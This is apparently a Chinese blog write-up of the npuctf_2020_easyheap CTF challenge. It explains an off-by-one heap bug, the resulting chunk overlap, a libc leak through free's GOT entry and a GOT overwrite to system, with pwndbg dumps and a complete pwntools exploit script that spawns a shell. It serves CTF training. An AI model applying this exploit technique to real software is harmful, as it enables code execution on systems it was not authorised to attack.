0%

npuctf_2020_easyheap详解

off by one的题,,,

参考视频:off by one + 改got表的heap做法 例题:npuctf_2020_easyheap

程序流程

  1. create:

    申请两个chunk: 一个heaparray[i](固定0x10大小),一个是申请的大小(只能申请0x18或0x38)

  2. edit:

    read_input(heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);

    存在off by one

  3. show:根据idx,打印chunk大小和内容

  4. delete:free后,将chunk指针置零了。

漏洞利用

利用off by one,可以修改下一个chunk头指针的大小。

例如,一开始可以申请两个0x18的块。当修改chunk0,溢出到chunk1的头指针大小为0x41,那么chunk1free后重新申请回来,chunk1的内容会和chunk1头指针重叠,可以修改chunk1的指针。

溢出修改chunk1指针为free_got表,泄露地址,计算system

修改chunk内容从而,修改got表内容为system

在chunk0中放入“/bin/sh\x00”,则free(0)即可=>system(“/bin/sh\x00”)

1.查看保护

Partial RELRO => 可以修改got表

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec npuctf_2020_easyheap
[*] '/home/winter/buu/npuctf_2020_easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.申请两个0x18的块

一共生成了四个chunk,两个heaparray,两个存在内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1560000
Size: 0x251

#chunk0 heaparray
Allocated chunk | PREV_INUSE
Addr: 0x1560250
Size: 0x21

#chunk0 data
Allocated chunk | PREV_INUSE
Addr: 0x1560270
Size: 0x21

#chunk1 heaparray
Allocated chunk | PREV_INUSE
Addr: 0x1560290
Size: 0x21

#chunk1 data
Allocated chunk | PREV_INUSE
Addr: 0x15602b0
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x15602d0
Size: 0x20d31
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x1560250
0x1560250: 0x0000000000000000 0x0000000000000021
0x1560260: 0x0000000000000018 0x0000000001560280
0x1560270: 0x0000000000000000 0x0000000000000021
0x1560280: 0x0000000a61616161 0x0000000000000000
0x1560290: 0x0000000000000000 0x0000000000000021
0x15602a0: 0x0000000000000018 0x00000000015602c0
0x15602b0: 0x0000000000000000 0x0000000000000021
0x15602c0: 0x0000000a61616161 0x0000000000000000
0x15602d0: 0x0000000000000000 0x0000000000020d31
0x15602e0: 0x0000000000000000 0x0000000000000000
0x15602f0: 0x0000000000000000 0x0000000000000000

3.通过chunk0 off by one

修改chunk0的内容,首先放入接下来用的参数。

然后溢出一个字节,修改chunk1 heaparray的大小为0x41

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1327000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x1327250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1327270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1327290
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x13272d0
Size: 0x20d31
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x1327250
0x1327250: 0x0000000000000000 0x0000000000000021
0x1327260: 0x0000000000000018 0x0000000001327280
0x1327270: 0x0000000000000000 0x0000000000000021
0x1327280: 0x0068732f6e69622f 0x0000000000000000 #"/bin/sh\x00"
0x1327290: 0x0000000000000000 0x0000000000000041 #溢出一个字节
0x13272a0: 0x0000000000000018 0x00000000013272c0
0x13272b0: 0x0000000000000000 0x0000000000000021
0x13272c0: 0x0000000a61616161 0x0000000000000000
0x13272d0: 0x0000000000000000 0x0000000000020d31
0x13272e0: 0x0000000000000000 0x0000000000000000
0x13272f0: 0x0000000000000000 0x0000000000000000

存放所有的heaparay指针,有两个

1
2
3
4
5
6
pwndbg> x/30gx 0x6020a0
0x6020a0 <heaparray>: 0x0000000000bf0260 0x0000000000bf02c0
0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000
0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000

4.释放chunk1

chunk1通过上面的全局变量,找到的地址还是不变,但是大小以及被修改为0x41,会按照0x41的大小被释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x21d9000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x21d9250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x21d9270
Size: 0x21

Free chunk (tcache) | PREV_INUSE
Addr: 0x21d9290
Size: 0x41
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x21d92d0
Size: 0x20d31
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x21d9250
0x21d9250: 0x0000000000000000 0x0000000000000021
0x21d9260: 0x0000000000000018 0x00000000021d9280
0x21d9270: 0x0000000000000000 0x0000000000000021
0x21d9280: 0x0068732f6e69622f 0x0000000000000000
0x21d9290: 0x0000000000000000 0x0000000000000041
0x21d92a0: 0x0000000000000000 0x00000000021d9010 #释放
0x21d92b0: 0x0000000000000000 0x0000000000000021
0x21d92c0: 0x0000000000000000 0x00000000021d9010 #释放
0x21d92d0: 0x0000000000000000 0x0000000000020d31
0x21d92e0: 0x0000000000000000 0x0000000000000000
0x21d92f0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
pwndbg> x/30gx 0x6020a0
0x6020a0 <heaparray>: 0x00000000021d9260 0x0000000000000000 #另一个被清零了
0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000
0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000

5.重新申请0x38的块

再次申请,会把之前释放的0x41和0x21重新申请回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xbf0000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0xbf0250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbf0270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbf0290
Size: 0x41

#找不到下一个,,,但是在

Top chunk | PREV_INUSE
Addr: 0xbf02d0
Size: 0x20d31

6.通过0x41的块,溢出覆盖0x21的块

但是由于0x41的chunk与0x21的chunk重叠了,故可以通过0x41的chunk修改0x21的chunk

但是0x21的chunk存放的是chunk1的指针,故可以让chunk1指针指向free got表,达到泄露。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0xbf0250
0xbf0250: 0x0000000000000000 0x0000000000000021
0xbf0260: 0x0000000000000018 0x0000000000bf0280
0xbf0270: 0x0000000000000000 0x0000000000000021
0xbf0280: 0x0068732f6e69622f 0x0000000000000000
0xbf0290: 0x0000000000000000 0x0000000000000041
0xbf02a0: 0x6161616161616161 0x6161616161616161
0xbf02b0: 0x6161616161616161 0x6161616161616161
0xbf02c0: 0x0000000000000038 0x0000000000602018#free_got
0xbf02d0: 0x000000000000000a 0x0000000000020d31
0xbf02e0: 0x0000000000000000 0x0000000000000000
0xbf02f0: 0x0000000000000000 0x0000000000000000
1
2
3
4
[DEBUG] Received 0x15d bytes:
00000000 53 69 7a 65 20 3a 20 35 36 0a 43 6f 6e 74 65 6e │Size│ : 5│6·Co│nten│
00000010 74 20 3a 20 30 ba fd 89 0a 7f 0a 44 6f 6e 65 21 │t : │0···│···D│one!│
#泄露到了free的地址
1
2
3
show(1)

free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

7.修改free_got表为system地址

此时chunk1的指针指向free_got,故修改chunk1的内容,就可以修改free_got表内容,修改为system地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xbb9000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0xbb9250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbb9270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbb9290
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0xbb92d0
Size: 0x20d31
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0xbb9250
0xbb9250: 0x0000000000000000 0x0000000000000021
0xbb9260: 0x0000000000000018 0x0000000000bb9280
0xbb9270: 0x0000000000000000 0x0000000000000021
0xbb9280: 0x0068732f6e69622f 0x0000000000000000
0xbb9290: 0x0000000000000000 0x0000000000000041
0xbb92a0: 0x6161616161616161 0x6161616161616161
0xbb92b0: 0x6161616161616161 0x6161616161616161
0xbb92c0: 0x0000000000000038 0x0000000000602018#chunk1指针->free_got->system
0xbb92d0: 0x000000000000000a 0x0000000000020d31
0xbb92e0: 0x0000000000000000 0x0000000000000000
0xbb92f0: 0x0000000000000000 0x0000000000000000
1
2
pwndbg> x/30gx 0x0000000000602018
0x602018: 0x00007fcb5dae9550 0x000000000040060a
1
2
pwndbg> x/30gx 0x00007fcb5dae9550
0x7fcb5dae9550 <__libc_system>: 0xfa66e90b74ff8548 0x0000441f0f66ffff

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
# p = process("./npuctf_2020_easyheap")
p = remote("node3.buuoj.cn",29535)
context.log_level = 'debug'

elf = ELF("./npuctf_2020_easyheap")
# libc = ELF("./libc-2.27.so")
# p = process(['./npuctf_2020_easyheap'],env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc-2.27.so")
atoi_got = elf.got['atoi']
free_got = elf.got['free']

def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))

def create(size,content):
cmd(1)
p.recvuntil("only) :")
p.sendline(str(size))
p.recvuntil("Content:")
p.sendline(content)

def edit(idx,content):
cmd(2)
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content:")
p.sendline(content)

def show(idx):
cmd(3)
p.recvuntil("Index :")
p.sendline(str(idx))

def delete(idx):
cmd(4)
p.recvuntil("Index :")
p.sendline(str(idx))

create(0x18,"aaaa")
create(0x18,"aaaa")

payload = '/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)

delete(1)
payload = 'a' * 0x20 + p64(0x38) + p64(free_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

log.success(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
log.success(hex(libc_base))
log.success(hex(system))

edit(1,p64(system))
# gdb.attach(p)
# pause()
delete(0)
p.interactive()

题型

特点:

  1. 可以修改got表
  2. malloc两次:一个node,一个content

方法:

  1. 利用node和本体互换 => 泄露libc
  2. 修改free_got=>system

off by one题挺多,多练习,this is the first。

Q:如果阅读本文需要付费,你是否愿意为此支付1元?